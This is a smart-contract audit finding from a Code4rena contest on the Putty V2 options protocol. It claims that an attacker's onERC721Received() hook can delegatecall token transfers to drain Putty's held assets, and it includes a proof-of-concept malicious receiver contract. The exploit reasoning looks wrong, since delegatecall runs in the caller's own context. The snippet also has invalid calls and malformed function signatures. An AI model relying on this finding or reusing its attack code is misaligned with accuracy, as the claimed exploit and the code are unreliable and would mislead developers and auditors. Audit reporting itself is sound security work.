Lines of code

https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/lib/solmate/src/tokens/ERC721.sol#L111-L124 https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/lib/solmate/src/tokens/ERC721.sol#L222-L231 https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L648 https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L659

Vulnerability details

onERC721Received() could delegatecall to transder the tokens

Impact

Some onERC721Received() could use delegatecall to drain the tokens Putty holds. Because the msg.sender is Putty contract, the tarnsfer can go through.

Or taking the ownership of the Putty contract.

Proof of Concept

The solmate ERC721 safeTransferFrom() is the following:

contracts/lib/solmate/src/tokens/ERC721.sol

    function safeTransferFrom(
        address from,
        address to,
        uint256 id
    ) public virtual {
        transferFrom(from, to, id);

        require(
            to.code.length == 0 ||
                ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
                ERC721TokenReceiver.onERC721Received.selector,
            "UNSAFE_RECIPIENT"
        );
    }

A malicious user could use a contract with the following onERC721Received().

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {

        ERC20(baseAsset).delegatecall(abi.encodeWithSignature("transfer(addresss, uint)", _addr, _amount));
        ERC20(assetERC20).delegatecall(abi.encodeWithSignature("transfer(addresss, uint)", _addr, _amount));
        ERC721(assetERC721).delegatecall(abi.encodeWithSignature("transferFrom(addresss, addresss, uint)", msg.sender, _addr, _id));
        return ERC721TokenReceiver.onERC721Received.selector;
    }

Tools Used

Mannual analysis.

Recommended Mitigation Steps

Using seperate contract to hold the underlying assets, premium and fees, or tranfer any token. Or even create individual vault for each kind of underlying.

code-423n4 / 2022-06-putty-findings

onERC721Received() could delegatecall to transder the tokens #278